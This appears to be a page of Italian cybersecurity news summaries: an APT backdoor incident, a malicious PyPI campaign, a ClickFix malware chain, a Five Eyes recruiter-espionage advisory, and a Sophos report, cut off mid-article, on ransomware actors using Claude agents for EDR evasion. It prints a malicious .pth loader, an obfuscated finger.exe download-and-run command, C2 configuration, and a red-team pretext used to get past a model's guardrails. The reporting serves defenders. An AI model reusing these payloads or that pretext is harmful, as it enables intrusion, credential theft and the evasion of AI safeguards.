(in)sicurezza digitale

2026-06-07 10:34:43

VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite

Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)

VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata

In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365

Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale

Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD

BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni

Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori

Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

(in)sicurezza digitale

2026-06-07 10:33:46

Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori

Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione

Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica

L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

• Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
• Localizza il payload _index.js nella directory del pacchetto
• Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
• Esegue bun run _index.js e scrive il sentinel

# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione

Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API

Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi

I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori

Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave

Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads w...

Socket found 37 malicious PyPI wheels that abuse Python startup hooks to launch a Bun-powered credential stealer tied to Mini Shai-Hulud/Miasma.

^{Socket Research Team (Socket)}

(in)sicurezza digitale

2026-06-05 18:10:35

ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python

Il team CTI di LevelBlue SpiderLabs ha pubblicato un’analisi approfondita di una nuova variante della campagna ClickFix, comparsa in maggio 2026, che utilizza siti typosquattati impersonanti LinkedIn e Indeed per distribuire un framework MaaS denominato CastleLoader e un Remote Access Trojan (RAT) scritto in Python. La catena d’attacco combina l’abuso del protocollo Finger, esecuzione fileless tramite runtime Python portatili, cifratura ChaCha20/RC4 e comunicazioni C2 via WebSocket.

Vettore iniziale: falsi CAPTCHA su cloni di LinkedIn e Indeed

L’attacco inizia con URL di phishing su domini typosquattati che imitano LinkedIn e Indeed (linkedall[.]org, uslinked[.]org, linked-on[.]com, indeed-jobs[.]net). Le URL includono parametri Google Ads (gclid, gbraid, gad_campaignid), indicando distribuzione tramite ecosistemi di advertising. Un parametro custom &verification=robot è necessario affinché il server risponda con la catena ClickFix — probabilmente come misura anti-analisi.

La pagina di atterraggio mostra un finto CAPTCHA Cloudflare Turnstile. JavaScript embedded recupera il contenuto di secondo stadio da un endpoint PHP, applica ROT13 per decodificare la risposta, e inietta l’output nel DOM a runtime. Quando l’utente interagisce con il box CAPTCHA, un payload viene copiato nella clipboard tramite document.execCommand("copy").

Stage 3: il protocollo Finger come vettore LOLBin

L’elemento tecnico più rilevante di questa variante è l’abuso del protocollo Finger (porta 79) — un protocollo legacy degli anni ’70 che molti ambienti Windows mantengono abilitato per retrocompatibilità. Il comando copiato nella clipboard utilizza finger.exe, nativo di Windows, per recuperare il payload:

%COMSPEC% /c s^t^a^r^t "" /min for /f "skip=25 delims=" %e in ('f^^i^^n^^g^^e^^r wCeFgncRwB@f^^i^^n^^g^^e^^r^^.^^uslinked[.]org') do %e

Il comando è ulteriormente offuscato con caratteri caret (^) per eludere il pattern matching dei prodotti di sicurezza. Una volta eseguito dall’utente — che preme ENTER credendo di completare la verifica CAPTCHA — il sistema scarica ed esegue il payload successivo tramite strumenti di sistema legittimi (Living-off-the-Land), rendendo il processo quasi invisibile agli EDR che non monitorano le connessioni finger.exe in uscita.

Catena di staging: Python runtime portatili e curl hijacking

Il malware copia curl.exe di sistema con un filename randomizzato a 18 cifre sotto %LocalAppData%, scarica runtime Python portatili da python.org e GitHub (IronPython) salvandoli con estensione .pdf, e li estrae tramite tar.exe nativo. Il processo uccide e riavvia explorer.exe per disorientare l’utente. I runtime Python rinominati eseguono poi codice inline che decomprime un blob Base64+zlib e lancia il payload in memoria — fileless execution pura, senza file eseguibili su disco.

• CPython embedded: %LocalAppData%\python-3.15.0a1-embed-win32.pdf
• IronPython: %LocalAppData%\IronPython.3.4.2.pdf

CastleLoader: framework MaaS con cifratura ChaCha20

Il payload di quinto stadio è CastleLoader, un framework Malware-as-a-Service per deployment flessibile di malware downstream. I primi 64 byte del blob scaricato fungono da chiave RC4 per decriptare CastleLoader stesso. Esempio di configurazione decifrata:

URL:          hXXps://sedaliarealty[.]net/1ed3c2fc-f870-5522-a6bd-71c0a4d78ddd
campaign_id:  028aaf61-fef2-525a-9a95-7cd10db2e166
mutex_name:   DE6TZHGHlXfrbvmQdHxJIb035
chacha_key:   0x0DF4397FDB725731AE751503C0FEFDCDB5F2967286379F7D662C297D41F07A15
chacha_nonce: 0x17612E6D4D22AC64AB157E3C

Tutta la comunicazione C2 successiva è cifrata con ChaCha20. Il loader invia al server il profilo del sistema infetto (username, hostname, dominio, versione Windows, architettura, AV installati) e riceve task strutturati. Le capability configurabili includono: anti-VM tramite cpuid, screenshot desktop tramite GDI BitBlt, enumerazione AV via WMI (root\SecurityCenter2), elevazione privilegi con “runas”, watchdog che rilancia continuamente il processo figlio.

Payload finale: RAT Python con C2 WebSocket

Il payload finale è un RAT scritto in Python (bytecode .pyc) con C2 via WebSocket cifrato attraverso WinHTTP APIs. Il traffico C2 inbound è ulteriormente offuscato tramite XOR. Le funzionalità principali includono shell interattiva con relay stdin/stdout verso il C2, esecuzione in-memory di payload aggiuntivi, persistenza tramite mutex e watchdog con rilancio automatico, e raccolta approfondita di informazioni di sistema. I file di staging sono in directory caratteristiche sotto %ProgramData%: Ccrreewwll, NewKevinNotAnother, NewestWorkiNaprav.

Indicatori di compromissione (IoC)

# Domini phishing e C2
linkedall[.]org
uslinked[.]org
linked-on[.]com
indeed-jobs[.]net
kevinnotanother[.]com
sedaliarealty[.]net
catalyst-ltd[.]net
# Hash SHA-256
cd4a51037bf58733c0cb24b273951dd3fcea45a2aaeb8b30a3c625e183c4c0c7
d56b810dfacaa1630bf562ccdefd46835349710d9516334e1a182619335ddea7
# Endpoint UUID-based C2
95126aeb-4120-56b1-8c9e-63fdf0c0b6f9
ebd417db-979c-51f8-aedf-88a2bf8aa6c3
6d6d2d17-d270-59c6-8b75-df011af08e58
# Directory staging
C:\ProgramData\Ccrreewwll\
C:\ProgramData\NewKevinNotAnother\
C:\ProgramData\NewestWorkiNaprav\
# File Python bytecode
(main|install|play).pyc

Due righe per i difensori

Il blocco delle connessioni in uscita su porta 79 (Finger) è una misura difensiva immediata con impatto operativo quasi nullo. Sono ad alta fedeltà per la detection: processi Python con argomenti -c inline contenenti base64/zlib, copia di curl.exe in directory utente con nomi randomizzati numerici, creazione delle directory specifiche sotto %ProgramData%, e connessioni WebSocket verso domini recentemente registrati. Gli ambienti che bloccano l’esecuzione di runtime Python non firmati e limitano l’accesso a %LocalAppData% per applicazioni non autorizzate risultano significativamente più resilienti a questo vettore.

Fonte: LevelBlue SpiderLabs Blog — King Orande e Cris Tomboc, 4 giugno 2026

ClickFix Is Now Hiring: From Job Platform Impersonation to Python-Based RAT Delivery

The LevelBlue OpsIntel CTI team examined the latest version of the ClickFix campaign, which emerged in early May 2026.

^{King Orande and Cris Tomboc (Trustwave Holdings, Inc.)}

(in)sicurezza digitale

2026-06-05 18:09:55

Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino

Le agenzie di intelligence dei cinque paesi alleati — FBI (USA), MI5 (UK), ASIO (Australia), CSIS (Canada) e NZSIS (Nuova Zelanda) — hanno emesso un alert congiunto che documenta come ufficiali dell’intelligence militare cinese si fingano recruiter professionisti su LinkedIn, Indeed e Upwork per sottrarre informazioni classificate a personale governativo, militare e della difesa. La minaccia non è nuova, ma la scala e la sofisticazione raggiunte nel 2026 rendono questo advisory un documento imprescindibile per chi opera nella sicurezza nazionale e nella protezione delle informazioni.

Il modus operandi: dal curriculum all’intelligence

Il pattern operativo identificato dal Five Eyes è elegante nella sua semplicità. Gli ufficiali dell’intelligence cinese — appartenenti ai Military Intelligence Services di Pechino — creano profili verosimili su piattaforme di recruiting professionale, impersonando think tank, società di consulenza private e agenzie HR specializzate in analisi geopolitica e difesa.

I profili di lavoro pubblicati riguardano tipicamente posizioni come “analista di politica estera”, “esperto di difesa per la regione Indo-Pacifica” o “ricercatore senior di relazioni bilaterali”. Il target non è casuale: i candidati vengono classificati in base al potenziale accesso a informazioni sensibili, attraverso l’analisi dei curriculum ricevuti. Chi detiene security clearance, lavora in agenzie governative o ha contatti con strutture militari sale automaticamente in cima alla lista degli obiettivi. L’advisory specifica che le piattaforme utilizzate includono LinkedIn, Indeed e Upwork, e che i candidati vengono anche contattati direttamente in base alla rilevanza dei loro profili pubblici.

La trappola del “trial report”

Una volta identificato il candidato di interesse, il processo si articola in fasi successive che servono a costruire fiducia e normalizzare richieste di informazioni progressivamente più sensibili. I selezionatori organizzano colloqui virtuali durante i quali nascondono la propria identità reale, sondando le conoscenze dell’interlocutore e il suo accesso a personale e risorse governative.

Il punto critico è il cosiddetto “trial report”: ai candidati viene chiesto di scrivere un saggio di prova su temi come le relazioni bilaterali della Cina, la situazione nell’Indo-Pacifico o questioni di commercio internazionale e difesa. Accettato il primo elaborato, le richieste successive si fanno progressivamente più intrusive: ai candidati viene comunicato che i report “devono includere informazioni più privilegiate” per ricevere compensi più elevati.

A questo punto la comunicazione viene spostata su piattaforme di messaggistica cifrata. I compensi variano da qualche centinaio a diverse migliaia di dollari per report, pagati attraverso canali difficilmente tracciabili: PayPal, Payoneer, Zelle, Skrill, Wise, Western Union, e-transfer e criptovalute. I pagamenti vengono spesso effettuati da account di terze parti estranee al processo di recruiting — una classica tecnica di compartimentazione operativa che complica la tracciabilità e la raccolta di prove.

Il valore strategico dell’informazione non classificata

Uno degli aspetti più significativi dell’advisory è l’enfasi sul valore dell’informazione non classificata. Il Five Eyes avverte esplicitamente che “anche le informazioni non classificate fornite dai candidati vengono probabilmente raccolte e combinate con dati più sensibili”. Questa prospettiva sfida il tradizionale approccio alla sicurezza delle informazioni, che tende a concentrarsi esclusivamente sulla protezione dei materiali classificati.

Steve Povolny di Exabeam ha commentato l’alert sottolineando come queste piattaforme stiano diventando veri e propri “ambienti di raccolta intelligence” che consentono a operatori stranieri di reclutare individui senza mai alzarsi dalla scrivania: “La minaccia insider non è più confinata ai dipendenti che rubano intenzionalmente segreti. Gli avversari prendono di mira l’intero ecosistema che circonda le informazioni sensibili — appaltatori, ex funzionari governativi, accademici, ricercatori, giornalisti ed esperti di settore che possono possedere solo frammenti di conoscenza preziosa, ma che una volta aggregati diventano intelligence operativa di valore strategico.”

Contesto storico: una tecnica scalabile e difficile da contrastare

L’uso di false opportunità lavorative come vettore di spionaggio è documentato da anni in diversi threat actor state-sponsored. Il FBI ha già messo in guardia contro operazioni analoghe attribuite alla Corea del Nord — celebri le campagne del Lazarus Group contro sviluppatori blockchain tramite finti colloqui tecnici — e all’Iran con Charming Kitten contro ricercatori nucleari e funzionari governativi. La specificità di questo advisory è l’attribuzione esplicita ai Military Intelligence Services cinesi e la documentazione di come le piattaforme di recruiting professionale siano diventate infrastrutture di raccolta intelligence sistematiche.

L’alert del 3 giugno 2026 — disponibile come PDF sul portale IC3 dell’FBI — è uno dei rari momenti in cui i cinque paesi del network di intelligence condividono pubblicamente dettagli operativi su campagne attive. La scelta di rendere pubblico l’advisory suggerisce che la portata e il ritmo di queste attività abbiano raggiunto una soglia tale da giustificare un’operazione di sensibilizzazione coordinata a livello internazionale.

Raccomandazioni operative per le organizzazioni

Il Five Eyes individua come segnali d’allarme primari gli approcci non sollecitati da recruiter per posizioni che richiedono analisi di tematiche geopolitiche sensibili, le richieste di spostare le comunicazioni su app di messaggistica cifrata, le richieste di produrre report che includano informazioni “privilegiate” o “interne”, e i pagamenti attraverso piattaforme terze o criptovalute da parti non direttamente coinvolte nel recruiting.

Per i responsabili della sicurezza organizzativa, l’advisory suggerisce di implementare programmi di sensibilizzazione specifici per i dipendenti con accesso a informazioni sensibili, con enfasi sul rischio rappresentato dalle piattaforme di networking professionale. La verifica dell’identità dei recruiter, la segnalazione degli approcci sospetti alle funzioni di sicurezza interne e il rispetto rigoroso delle politiche sull’uso dei social media professionali sono le contromisure fondamentali indicate.

Fonti: Five Eyes Joint Advisory — IC3/FBI, 3 giugno 2026 | SecurityWeek

Five Eyes: Chinese Spies Target Government, Military Staff With Fake Job Opportunities

Posing as recruiters on online platforms, Chinese intelligence officers target personnel with access to classified or privileged information.

^{Ionut Arghire (SecurityWeek)}

(in)sicurezza digitale

2026-06-05 05:34:10

Sophos scopre il laboratorio AI per testare l’evasione degli EDR: così il ransomware si evolve

Sophos ha scoperto che un gruppo ransomware attualmente attivo ha costruito un laboratorio automatizzato basato su agenti AI — tra cui Claude Opus 4.5 — per sviluppare e testare sistematicamente tecniche di evasione dagli endpoint detection and response (EDR). Non si tratta di fantascienza: l’infrastruttura era operativa, testava payload reali contro Sophos, CrowdStrike e Windows Defender, e i risultati venivano usati in attacchi reali contro organizzazioni globali.

Come è emersa la scoperta

L’indagine è partita da un alert anomalo su un endpoint cliente: payload malevoli provenivano da una directory di testing insolita. Approfondendo, i ricercatori di Sophos hanno trovato qualcosa di inaspettato — non solo malware, ma un intero framework di sviluppo e testing. L’ambiente conteneva profili Cobalt Strike configurati per mascherare il traffico beacon come richieste web legittime, un meccanismo di command-and-control via Telegram Bot API, script Python per l’iniezione di shellcode in processi Windows legittimi, e un Cloudflare Worker usato per nascondere il server C2 backend. Sophos ha collegato l’attività a operazioni di ransomware e furto di dati, ma non ha divulgato il nome del gruppo per via di indagini ancora in corso.

L’architettura del laboratorio: VM dedicate, agenti AI e MCP

Il nucleo dell’operazione era un laboratorio di test composto da più macchine virtuali Windows Server 2022, ognuna dedicata a un diverso prodotto EDR: una per Sophos, una per CrowdStrike, una terza come ambiente di controllo senza EDR installato. Una quarta VM Ubuntu ospitava un server Sliver per il command-and-control. L’attore ha utilizzato Ludus, una piattaforma per il deployment rapido di ambienti virtualizzati di sicurezza, per provisionare l’infrastruttura.

All’interno di questo ecosistema operavano più agenti AI coordinati tramite il protocollo Model Context Protocol (MCP), lo standard aperto che consente agli assistenti AI di interagire con strumenti e repository esterni. Un agente Claude Opus 4.5 fungeva da coordinatore principale, impostando le regole operative per gli altri agenti. Agenti specializzati si occupavano rispettivamente del testing EDR, della documentazione dei risultati, dell’hardening OPSEC, dei test di stress sul proxy e del deployment delle VM. Lo sviluppo del codice malevolo avveniva tramite Cursor, un IDE AI-native che integra capacità generative direttamente nell’ambiente di sviluppo.

Il workflow: da articoli di ricerca a payload ottimizzati

Il processo di sviluppo seguiva una pipeline iterativa ben strutturata. Gli agenti leggevano articoli di threat intelligence da blog di vendor come Kaspersky, Palo Alto Networks e Bishop Fox, oltre a post su X e Telegram. Le tecniche di bypass identificate venivano estratte, mappate sul framework MITRE ATT&CK, trasformate in moduli di test, eseguite nel laboratorio virtualizzato contro gli EDR target, e i risultati documentati per guidare l’iterazione successiva.

Il framework di generazione payload — uno strumento Python centrale — produceva eseguibili Windows personalizzati e DLL che incorporavano cifratura, tecniche di evasione e metodi di esecuzione alternativi. In totale, l’infrastruttura supportava quasi 80 moduli per testare oltre 70 tecniche di evasione distinte. Gli script Python erano in parte scritti in russo, e molti mostravano chiari pattern di generazione AI.

Un aspetto critico riguarda il pretesto usato con Claude: l’attore ha incorniciato il progetto come un framework di red team per eludere i guardrail del modello. Sophos ha segnalato il pattern ad Anthropic. “Tentativi di aggirare i limiti dei modelli usando framing benigno per prompt malevoli — come il pretesto del red team — sono stati osservati in numerosi casi negli ultimi dodici mesi,” ha dichiarato Rafe Pilling, Director of Threat Intelligence di Sophos.

Quanto è efficace davvero?

